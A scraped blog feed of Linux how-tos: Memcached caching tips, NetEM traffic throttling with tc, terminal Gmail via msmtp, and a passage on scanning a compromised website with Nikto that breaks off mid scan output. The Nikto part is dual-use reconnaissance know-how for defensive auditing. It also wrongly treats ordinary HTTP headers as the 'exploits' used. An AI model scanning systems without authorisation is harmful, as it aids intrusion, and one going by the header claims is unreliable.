<div class="line number2 index1 alt1">
<code class="text plain">STAT uptime 23530</code></div>
<div class="line number3 index2 alt2">
<code class="text plain"> .</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">STAT get_hits 0</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">STAT get_misses 0</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">STAT delete_misses 0</code></div>
<div class="line number7 index6 alt2">
<code class="text plain"> .</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">END</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<h3 style="text-align: justify;">
Important Functions</h3>
<div style="text-align: justify;">
A Memcached client mostly has the following functions available, whatever the programming environment it may be in:</div>
<ul style="text-align: justify;">
<li><code>get(key)</code> — Retrieve the value associated with the specified key</li>
<li><code>set(key, value, expiry)</code> — Add or replace the given key’s value along with the given expiry times</li>
<li><code>add(key, value, expiry)</code> — Add a value associated with the new key in Memcached; if the key already exists, it returns an error.</li>
<li><code>append(key)</code> — Add the current data at the end of the value that is already associated with the key.</li>
<li><code>prepend(key)</code> — Add the current data before what already exists, and which is associated with the key.</li>
<li><code>delete(key)</code> — Delete or invalidate the key.</li>
<li><code>replace(key, value)</code> — Replace the value of the existing key in Memcached. Returns an error if the associated key does not already exist.</li>
<li><code>flush_all()</code> — Invalidates all keys in Memcached memory.</li>
</ul>
<h2 style="text-align: justify;">
The ten commandments for good cache performance</h2>
<div style="text-align: justify;">
Here are some pointers that I’d like you to keep in mind while working with Memcached.</div>
<ol style="text-align: justify;">
<li>Take
care of stale data and expiry times. Make sure that when a value is
updated in the backend database, the new value is also updated in the
cache. Also, the data expiry time should be optimum; making it too long
will unnecessarily take up more memory.</li>
<li>Always keep in mind that
Memcached is not a database. Do not think that a value, once stored,
will stay there until it is deleted.</li>
<li>Avoid storing frequently
updated data in Memcached. There is no point in storing something that
becomes stale frequently and has to be repeatedly retrieved from the
database anyway.</li>
<li>Memcached clients in multiple languages might
work at the same time on the same server, but take care of compatibility
and some features that a particular client might not support. For
example, some of them might not support compression, or might perform
compression in a different manner.</li>
<li>Use weights to configure
multiple servers with varying amounts of memory available. Give more
weight to servers with more memory, so that a larger share of the
overall data is stored on them. Weighing can be assigned while
populating the client with the servers available.</li>
<li>One important
aspect of Memcached is that it has no in-built security mechanisms. It
is your responsibility to set up a firewall, so that the Memcached
interface is not publicly exposed.</li>
<li>It is recommended that you
warm up the cache (load the frequently accessed data initially) before
publicly deploying your Web application with a separate program or
script, so that you hit the optimum performance levels immediately.</li>
<li>Each <em>get</em> or <em>set</em>
operation fires a new atomic connection to the Memcached server, so
it’s much better if you have predefined a fixed number of connections in
the connection pool.</li>
<li>While using Memcached in Linux, never
allow it to use the swap, and never assign it more memory than the
actual physical RAM available. That results in a very bad performance —
there isn’t any point of even having a cache, in such a situation.</li>
<li>Always
try to cache complex processed data like objects or even HTML snippets,
rather than raw data coming straight from the database.</li>
</ol>
<div style="text-align: justify;">
To
conclude, setting up a Memcached cluster is a very good way of improving
performance if you have some spare resources available. In case you are
working on a cloud, it is a must-have component since it can give you a
significant performance boost and help you get rid of most of the
bottlenecks in the application.</div>
<div style="text-align: justify;">
<br /></div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-45784546593057918072012-09-24T01:26:00.001-07:002012-09-24T01:26:39.672-07:00Bandwidth Throttling with NetEM Network Emulation..!!<div style="text-align: justify;">
<img alt="Bandwidth Throttling with NetEM" class="aligncenter size-large wp-image-12185" height="321" src="http://cdn.linuxforu.com/wp-content/uploads/2012/06/Network-590x321.jpg" title="Bandwidth Throttling with NetEM" width="590" /></div>
<div class="introduction" style="text-align: justify;">
NetEM (Network Emulation)
provides functionality for testing protocols, by emulating the network
properties of wide-area networks. This article describes the use of
NetEM in benchmarking the performance of a Web application, simulating
Internet-like speeds on a LAN.</div>
<div style="text-align: justify;">
On a recent project, I was busy
doing a Web application performance benchmark test. For most such
benchmarks, it is important to simulate the typical end-user’s average
effective bandwidth. Since we used a fast network for our benchmarks, we
had to find a way to somehow limit the bandwidth of our LAN so that it
would resemble “real” Internet throughputs. It took some research and
reading to find the best way to do this. We found that there were
commercial shaping products like Allot’s Netenforcer and PacketShaper, but these were costly. So instead of these devices/appliances, we decided to use the NetEM tool.</div>
<div style="text-align: justify;">
In
our environment (see Figure 1), the NetEM box also plays the role of a
Linux router. Recent Linux kernels have built-in network traffic shaping
capabilities. Those capabilities, in combination with the command-line
tool <code>tc</code> (a part of the <code>iproute2</code> package) can
be used to set a bandwidth limit on one of your network interfaces, and
even on incoming traffic on a specific port.</div>
<div class="wp-caption aligncenter" id="attachment_12186" style="text-align: justify; width: 590px;">
<img alt="Current environment" class="size-large wp-image-12186" height="385" src="http://cdn.linuxforu.com/wp-content/uploads/2012/06/Fig_1-590x385.jpg" title="Current environment" width="590" /><div class="wp-caption-text">
Figure 1: Current environment</div>
</div>
<h2 style="text-align: justify;">
About traffic shaping</h2>
<div style="text-align: justify;">
Traffic
shaping is an attempt to control network traffic by prioritising
network resources. It guarantees certain bandwidth, based on predefined
policy rules. Traffic shaping uses traffic classification, policy rules,
queue disciplines and quality of service (QoS).</div>
<div style="text-align: justify;">
The need for
traffic shaping arises because network bandwidth is an expensive
resource that is shared among many parties in an organisation, and some
applications require guaranteed bandwidth and priority. Traffic shaping
lets you: (1) control network services, (2) limit bandwidths, and (3)
guarantee Quality of Service (QoS). Intelligently managed traffic
shaping improves network latency, service availability and bandwidth
utilisation.</div>
<div style="text-align: justify;">
NetEM capabilities include delay (it delays each
packet); loss (it drops some packets); duplication (it duplicates some
packets); and corruption (it introduces a single bit error at a random
offset in a packet).</div>
<h2 style="text-align: justify;">
How NetEM works</h2>
<div style="text-align: justify;">
NetEM consists of two
components — a tiny kernel module for a queuing discipline, and a
command-line utility to configure it. The kernel module has been
integrated in 2.6.8 (and 2.4.28) or later, and the command is part of
the <code>iproute2</code> package. The command-line utility communicates
with the kernel via the netlink socket interface. It encodes its
requests into a standard message format, which the kernel decodes.</div>
<div style="text-align: justify;">
The
queuing layer exists between the network device and the protocol
output. The default queuing discipline is a simple FIFO packet queue.
Queuing discipline consists of two key interfaces; one queues packets to
be sent, and the other releases packets to the network device for
transmission. The queuing discipline makes the policy decision of which
packets to send, based on the current settings.</div>
<h2 style="text-align: justify;">
Terminology</h2>
<ul style="text-align: justify;">
<li>qdisc
— A queue discipline (qdisc) is a set of rules that determine the order
in which arrivals are serviced. It is a packet queue with an algorithm
that decides when to send each packet.</li>
<li>Classless qdisc — A qdisc with no configurable internal subdivision.</li>
<li>Classful qdisc — A qdisc that may contain classes; classful qdiscs allow packet classification (Class-Based Queueing and others)</li>
<li>Root qdisc — The root qdisc is attached to each network interface — either classful or classless.</li>
<li>egress qdisc — Works on outgoing traffic only.</li>
<li>ingress qdisc — Works on incoming traffic.</li>
<li>Filter — Classification can be performed using filters</li>
</ul>
<div style="text-align: justify;">
Here are some examples that can be used for network throttling.</div>
<h2 style="text-align: justify;">
Network emulation examples</h2>
<div class="note" style="text-align: justify;">
<strong>Note:</strong>
I have used eth1 for the interface in the examples below; you should
use the name of the specific Ethernet card where traffic needs to be
throttled.</div>
<div style="text-align: justify;">
To add constant delay to every packet going out through a specific interface, use the following command:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_794685">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc add dev eth1 root netem delay 80ms</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Now a <code>ping</code> test to this host should show an increase of 80ms in the delay to replies.</div>
<div style="text-align: justify;">
To add random variance, use the command below:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_544936">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc change dev eth1 root netem delay 80ms 10ms</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
We
can also add variable delay (jitter)/Random Variance too. Most
wide-area networks like the Internet have some jitter associated with
them. The following command will add +/- 10 ms of jitter to the 80 ms of
delay.</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_546977">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc add dev eth1 root netem delay 80ms 10ms</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
To see what queueing discipline (qdisc) has been applied to an interface, use:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_297910">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc show dev eth1</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
To turn off/delete the qdisc from a specific interface (in this case, eth1), execute the command given below:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_95926">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc del dev eth1 root</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Typically,
the delay in a network is not uniform. It is more common to use
something like a normal distribution to describe the variation in delay.
NetEM can accept a non-uniform distribution:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_98275">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc change dev eth1 root netem delay 100ms 20ms distribution normal</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Packet loss can be replicated:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_527980">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc change dev eth1 root netem loss 0.1%</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Packet duplication/corruption can also be configured:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_152438">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc change dev eth1 root netem duplicate/corrupt 1%</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<h2 style="text-align: justify;">
Setting up the throttling</h2>
<div style="text-align: justify;">
In
the current environment (as seen in Figure 1), the Linux server plays
the role of a router and a NetEM bandwidth throttling device. All the
traffic goes through this server. Our requirement was to throttle the
bandwidth by adding delay/packet loss/jitter, etc, and also to throttle
incoming traffic on TCP port 7001 on eth1, down to 512 kbit/s.</div>
<div style="text-align: justify;">
To set up the throttling for incoming traffic, I ran the following commands:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_547590">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain"># tc qdisc add dev eth1 root handle 1: cbq avpkt 1000 bandwidth 10Mbit</code></div>
<div class="line number2 index1 alt1">
<code class="text plain"># tc class add dev eth1 parent 1: classid 1:1 cbq rate 512kbit allot 1500 prio 3 bounded isolated</code></div>
<div class="line number3 index2 alt2">
<code class="text plain"># tc filter add dev eth1 parent 1: protocol ip u32 match ip protocol 6 0xff match ip dport 7001 0xffff flowid 1:1</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The
first command created a new root queuing discipline of type CBQ
(class-based queuing, used to both shape and prioritise) on interface
eth1, bandwidth set to 10 MBps, and the average size of the packet
(avpkt) set to 1000.</div>
<div style="text-align: justify;">
The second command created a child class
under the root qdisc, 1:, and named it 1:1, allocating 1500 bytes off
the queue, and limiting the rate to 512 KBps. The <code>prio 5</code>
defines the priority of the queue. The smaller the number, the higher
the priority when you have multiple queues with different priorities.
Here I had only a single queue, so that didn’t matter. The bounded and
isolated options are used to make sure the class will not borrow
bandwidth from any unused/inactive sibling queues.</div>
<div style="text-align: justify;">
The last
command is the filter, which will queue all packets going to TCP port
7001 [dport is destination port] to qdisc “1:1″ which is the throttle
queue. Here <code>u32</code> is the filter type.</div>
<div style="text-align: justify;">
<br /></div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-22153897165389078212012-09-24T01:23:00.000-07:002012-09-24T01:23:15.174-07:00Sending Emails From Terminal Using Gmail Account..!!!<div style="text-align: justify;">
<em>Linux terminal is one of the coolest tools I’ve ever come across.
If you are also a fan of the terminal, and are a Gmail user, you should
like this article.</em></div>
<div style="text-align: justify;">
<br /> <img height="300" id="il_fi" src="http://www.google.co.in/url?source=imglanding&ct=img&q=https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLJxLiO0dYINIIIQTBet2uW6eGEAH2ovQSzem6gTUTPWL6mrB0pjT6FOYsyRsOM59Ah6WtI2HD1lVZPCGhNTHB46M2b6YtmY3TaEkD4IbP2l4sDEizH4FtnbPXbDXLa229yL-zXBwsYUA/s1600/gmail-www.radithtux.web.id.png&sa=X&ei=WhhgULHpK4XqrAel_YBI&ved=0CAkQ8wc4FQ&usg=AFQjCNH4CwteHkR2Gi7CpotjoFYlFDrtbQ" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" width="300" /></div>
<div style="text-align: justify;">
<em><br /></em></div>
<div style="text-align: justify;">
<strong>Note:</strong> I’ve tested these steps on Ubuntu 12.04 and Fedora 16.</div>
<div style="text-align: justify;">
<strong>Security certificate</strong></div>
<div style="text-align: justify;">
Before
proceeding, we need Gmail’s security certificate on our system. Why?
Gmail sends encrypted data over SSL (Secure Sockets Layer) for security;
this certificate is necessary for encryption of data.</div>
<div style="text-align: justify;">
Ideally, you should have the file <em>Equifax_Secure_CA.crt</em> under <em>/usr/share/ca-certificates/mozilla/</em>.
If you do, you’re ready to move on. If you don’t have it, steps 6 &
7 at
http://www.chrisstreeter.com/archive/2009/04/305/gmail-imap-backup-with-mbsync-on-ubuntu
may help you. Set the tls_trust_file parameter (in msmtp configuration,
described below) to the path of the certificate file.</div>
<div style="text-align: justify;">
<strong>Installation</strong></div>
<div style="text-align: justify;">
We
need to install two packages–msmtp (a simple and easy-to-use SMTP
client), and mailx (a utility program to send and receive emails). In a
terminal, run the appropriate command for your distro; for systems
supporting deb packages (e.g. Debian, Ubuntu, LinuxMint etc.), use <em>sudo apt-get install msmtp heirloom-mailx</em>; for systems supporting RPM packages (e.g. RedHat, Fedora etc.), use <em>sudo yum install msmtp mailx</em>.</div>
<div style="text-align: justify;">
<strong>Configuring msmtp</strong></div>
<div style="text-align: justify;">
We need to create an <em>msmtp</em> configuration file—create a file named <em>.msmtprc</em> in your home directory, and open it in your favourite editor. Copy the following code and paste it in the file.</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate bash" id="highlighter_380969">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
</div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate bash" id="highlighter_275530">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="bash comments"># Gmail account starts</code></div>
<div class="line number2 index1 alt1">
<code class="bash comments"># account name which must be unique for each account</code></div>
<div class="line number3 index2 alt2">
<code class="bash plain">account gmail1</code></div>
<div class="line number4 index3 alt1">
<code class="bash plain">auth on</code></div>
<div class="line number5 index4 alt2">
<code class="bash comments">#Gmail SMTP host name</code></div>
<div class="line number6 index5 alt1">
<code class="bash plain">host smtp.gmail.com</code></div>
<div class="line number7 index6 alt2">
<code class="bash plain">port 587</code></div>
<div class="line number8 index7 alt1">
<code class="bash comments">#sets Transport Layer Security on</code></div>
<div class="line number9 index8 alt2">
<code class="bash plain">tls on</code></div>
<div class="line number10 index9 alt1">
<code class="bash comments">#
location of tls certificate file for Gmail (change this parameter if
your certificate file is stored at some other location in your
File-system)</code></div>
<div class="line number11 index10 alt2">
<code class="bash plain">tls_trust_file </code><code class="bash plain">/usr/share/ca-certificates/mozilla/Equifax_Secure_CA</code><code class="bash plain">.crt</code></div>
<div class="line number12 index11 alt1">
<code class="bash comments">#your email id here (e.g. abc@gmail.com)</code></div>
<div class="line number13 index12 alt2">
<code class="bash plain">user YOUR_EMAIL_ID</code></div>
<div class="line number14 index13 alt1">
<code class="bash comments">#your password here</code></div>
<div class="line number15 index14 alt2">
<code class="bash plain">password YOUR_PASSWORD</code></div>
<div class="line number16 index15 alt1">
<code class="bash comments">#email id of the sender that is you again</code></div>
<div class="line number17 index16 alt2">
<code class="bash plain">from YOUR_EMAIL_ID</code></div>
<div class="line number18 index17 alt1">
<code class="bash comments"># Gmail account end</code></div>
<div class="line number19 index18 alt2">
<code class="bash comments">#So
we have added one account. Similarly we can add more accounts by
repeating and modifying above code for each new account. Make sure you
give unique name to each account.</code></div>
<div class="line number20 index19 alt1">
<code class="bash comments">#set default account to be used when no account is specified (Not necessary for single account)</code></div>
<div class="line number21 index20 alt2">
<code class="bash plain">account default: gmail<br /></code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate bash" id="highlighter_654105">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
</div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Don’t
forget to replace the capitalised words with values specific to your
account. Save and close the file. To get msmtp to work properly, we need
to set proper permissions on this file, with the command <em>chmod 600 ~/.msmtprc</em> in the terminal. This makes the file’s contents viewable by only your account and root.</div>
<div style="text-align: justify;">
<strong>Configuring mailx</strong></div>
<div style="text-align: justify;">
To configure <em>mailx</em>, we need to create another configuration file, <em>~/.mailrc</em>. The following code goes in that file:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate bash" id="highlighter_474003">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="bash functions">set</code> <code class="bash plain">from=</code><code class="bash string">"YOUR_EMAIL_ID"</code> <code class="bash comments">#your email id here</code></div>
<div class="line number2 index1 alt1">
<code class="bash functions">set</code> <code class="bash plain">sendmail=</code><code class="bash string">"/usr/bin/msmtp"</code> <code class="bash comments">#location of msmtp's binary executable</code></div>
<div class="line number3 index2 alt2">
<code class="bash functions">set</code> <code class="bash plain">message-sendmail-extra-arguments=</code><code class="bash string">"-a gmail1"</code> <code class="bash comments">#additional arguments to msmtp goes here (optional) (-a indicates account name to be used to send mails)</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Again replace capitalised words with values specific to your account. Save and close <em>.mailrc</em>. Now you are all set to send your first mail from the terminal.</div>
<div style="text-align: justify;">
<strong>Note:</strong> The <em>.msmtprc</em> and <em>.mailrc</em>
files in the user’s home directory means they are user configuration
files. Each user of the system who wants to send emails from the
terminal will have to create his/her own configuration files in his home
directory. The same files can be created as system configuration files,
in the <em>/etc</em> directory, if all users on the system are sharing
one Gmail account. I would personally prefer user configuration files,
because I want to keep my personal Gmail login information confidential.</div>
<div style="text-align: justify;">
<strong>Sending your first email</strong></div>
<div style="text-align: justify;">
To send your first mail, run <em>mailx RECIPIENT_EMAIL_ID</em> (here, replace <em>RECIPIENT_EMAIL_ID</em> with the actual email address to send your mail (e.g. <em>xyz@gmail.com</em>). You will be prompted to enter Subject and Body of the mail. Once you’re done typing the body of the message, press <em>Enter</em> and <em>Ctrl+D</em> to send the mail. If you don’t receive any error message on terminal then your mail is sent successfully.</div>
<div style="text-align: justify;">
<strong>Useful mailx arguments </strong></div>
<div style="text-align: justify;">
Here are some command-line switches to <em>mailx</em> that you may find useful.</div>
<div style="text-align: justify;">
-s: Specify a subject (e.g. <em>mailx -s “subject line” RECIPIENT_EMAIL_ID</em>)</div>
<div style="text-align: justify;">
-a: Add an attachments (e.g. <em>mailx -a PATH RECIPIENT_EMAIL_ID</em>) (Replace PATH with the full path to the file you want to attach.)</div>
<div style="text-align: justify;">
You can explore more arguments in the <em>mailx</em> manual page (run <em>man mailx</em>).</div>
<div style="text-align: justify;">
One more trick: you can redirect the contents of a file as the body of the mail with:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate bash" id="highlighter_3256">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="bash plain">mailx -s </code><code class="bash string">"subject line"</code> <code class="bash plain">RECIPIENT_EMAIL_ID < </code><code class="bash plain">/path/body</code><code class="bash plain">.txt</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
<strong>Rolling back</strong></div>
<div style="text-align: justify;">
If you want to undo the above experimentation, delete the configuration files (<em>rm ~/.mailrc ~/.msmtprc</em>) and remove the packages with the appropriate command for your system—for systems supporting DEB packages, <em>sudo apt-get remove msmtp heirloom-mailx </em>and for systems supporting RPM packages,</div>
<div style="text-align: justify;">
<em>sudo yum remove msmtp mailx</em>.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-11911662573151248252012-09-24T00:04:00.001-07:002012-09-24T00:04:14.933-07:00Website Vulnerabilities and Nikto..!!!<div class="introduction" style="text-align: justify;">
Nikto is an open source Web server
vulnerability scanner that performs comprehensive tests for over 6,100
potentially dangerous files/CGIs, checks for outdated versions of over
950 servers, and for version-specific problems on over 260 servers. This
article outlines a scenario where Nikto is used to test a company’s Web
server for vulnerabilities.<br /> <img alt="Scan it!" class="size-full wp-image-9790 alignright" height="234" src="http://cdn.linuxforu.com/wp-content/uploads/2010/05/nikto.jpg" title="Scan it!" width="350" /></div>
<div style="text-align: justify;">
As detailed on <a href="http://www.cirt.net/Nikto2">www.cirt.net/Nikto2</a>,
Nikto, written by Chris Sullo and David Lodge, also checks for server
configuration items, such as the presence of multiple index files and
HTTP server options, and it attempts to identify installed Web servers
and software. Scan items and plugins are frequently updated, and can be
automatically updated on your system. Nikto also supports libWhisker’s
anti-IDS methods in case you want to test your IDS system. It is
available for almost all flavours of Linux, as well as for Microsoft
Windows and Mac OS.</div>
<table border="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><thead>
<tr><td>Important terms</td></tr>
</thead><tbody>
<tr><td><ul>
<li>Asset: A resource of value, such as the data in a database or on the filesystem, a system resource, etc.</li>
<li>Threat: A potential occurrence (malicious or otherwise) that may harm an asset.</li>
<li>Vulnerability: A weakness or entry point that makes a threat possible.</li>
<li>Attack: Hostile action taken to harm an asset.</li>
<li>Exploit: A security hole which can potentially allow an attack.</li>
<li>Countermeasure: A safeguard that addresses a threat and mitigates risk.</li>
</ul>
</td></tr>
</tbody></table>
<h2 style="text-align: justify;">
A tale of a website attack</h2>
<div style="text-align: justify;">
Shree
is the CEO of a small business with a global clientele. Early one
morning, he received an urgent call from one of his employees, who told
him that the company website, which many of Shree’s clients used
regularly for business, was being identified by Firefox as a “reported
attack page” (Figure 1).</div>
<div class="wp-caption aligncenter" id="attachment_9791" style="text-align: justify; width: 488px;">
<img alt="Reported attack page" class="size-full wp-image-9791" height="277" src="http://cdn.linuxforu.com/wp-content/uploads/2010/05/Fig1_FirefoxReportedAttackPage.jpg" title="Reported attack page" width="488" /><div class="wp-caption-text">
Figure 1: Reported attack page</div>
</div>
<div style="text-align: justify;">
It
appeared that the Web server had been cracked, and was now serving
malware to visitors, including Shree’s clients! Worried about the
fallout, Shree made an emergency call to his website developers, who
immediately brought down the site, and restored a clean backup onto it.
For a few hours, things were okay — but then, the site again began to
exhibit the same problem. Shree was now a really worried man — the
future of his business was at stake.</div>
<div style="text-align: justify;">
At this point, he called in
his long-time friend, Kedar, a Web security expert, for emergency help.
Kedar rushed to Shree’s office and took charge of the situation. His
primary intention was to restore the website to normalcy as soon as
possible, while he promised to explain the incident after the site was
up again.</div>
<div style="text-align: justify;">
Kedar took the precaution of downloading a copy of the
compromised website to a local PC at the developer’s office for
scanning. (Under Indian cyber law and its amendments, running any scans,
including a port scan, against a website can be a criminal offense.) In
addition, a local copy meant that there was no Intrusion Detection
System to counter, and the scan would finish much faster at LAN speeds
than over an Internet connection.</div>
<div style="text-align: justify;">
The Nikto scan revealed some interesting information — the site had been attacked using two exploits:<br /> <em>microsoftoffi cewebserver</em> and <em>x-pingback</em>. Here’s the output of the scan, with client-specific references obfuscated:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_946164">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">nikto -host XX.XXX.XXX.XX -vhost www.XXXXXXXX.XXX -p 80 443</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="text plain">- Nikto v2.1.1</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">---------------------------------------------------------------------------</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">+ Target IP: XX.XXX.XXX.XX</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">+ Target Hostname: IP.targethostname.com</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">+ Target Port: 80</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">+ Virtual Host: www.XXXXXXXX.org</code></div>
<div class="line number9 index8 alt2">
<code class="text plain">+ Start Time: 2010-XX-XX 13:02:35</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">---------------------------------------------------------------------------</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">+ Server: Microsoft-IIS/6.0</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">+ No CGI Directories found (use '-C all' to force check all possible dirs)</code></div>
<div class="line number13 index12 alt2">
<code class="text plain">+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST</code></div>
<div class="line number14 index13 alt1">
<code class="text plain">+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST</code></div>
<div class="line number15 index14 alt2">
<code class="text plain">+ Microsoft-IIS/6.0 appears to be outdated (4.0 for NT 4, 5.0 for Win2k, current is at least 7.0)</code></div>
<div class="line number16 index15 alt1">
<code class="text plain">+ Retrieved X-Powered-By header: ASP.NET</code></div>
<div class="line number17 index16 alt2">
<code class="text plain">+ GET /: Retrieved X-Powered-By header: PHP/4.4.7</code></div>
<div class="line number18 index17 alt1">
<code class="text plain">+ GET /: Uncommon header 'x-pingback' found, with contents: http:/www.XXXXXXXX.XXX/xmlrpc.php</code></div>
<div class="line number19 index18 alt2">
<code class="text plain">+ Retrieved microsoftoffi cewebserver header: 5.0_Pub</code></div>
<div class="line number20 index19 alt1">
<code class="text plain">+ Uncommon header 'microsoftoffi cewebserver' found, with contents: 5.0_Pub</code></div>
<div class="line number21 index20 alt2">
<code class="text plain">+
OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP
reveals potentially sensitive information via certain HTTP requests
which contain specific QUERY strings.</code></div>
<div class="line number22 index21 alt1">
<code class="text plain">+ OSVDB-3092: /test/: This might be interesting...</code></div>
<div class="line number23 index22 alt2">
<code class="text plain">+ OSVDB-3092: /LICENSE.txt: License fi le found may identify site software.</code></div>
<div class="line number24 index23 alt1">
<code class="text plain">+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.</code></div>
<div class="line number25 index24 alt2">
<code class="text plain">+
/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin
'Tested up to' version usually matches the WordPress version</code></div>
<div class="line number26 index25 alt1">
<code class="text plain">+ /readme.html: This WordPress fi le reveals the installed version.</code></div>
<div class="line number27 index26 alt2">
<code class="text plain">+ OSVDB-3092: /license.txt: License fi le found may identify site software.</code></div>
<div class="line number28 index27 alt1">
<code class="text plain">+ OSVDB-3092: /LICENSE.TXT: License fi le found may identify site software.</code></div>
<div class="line number29 index28 alt2">
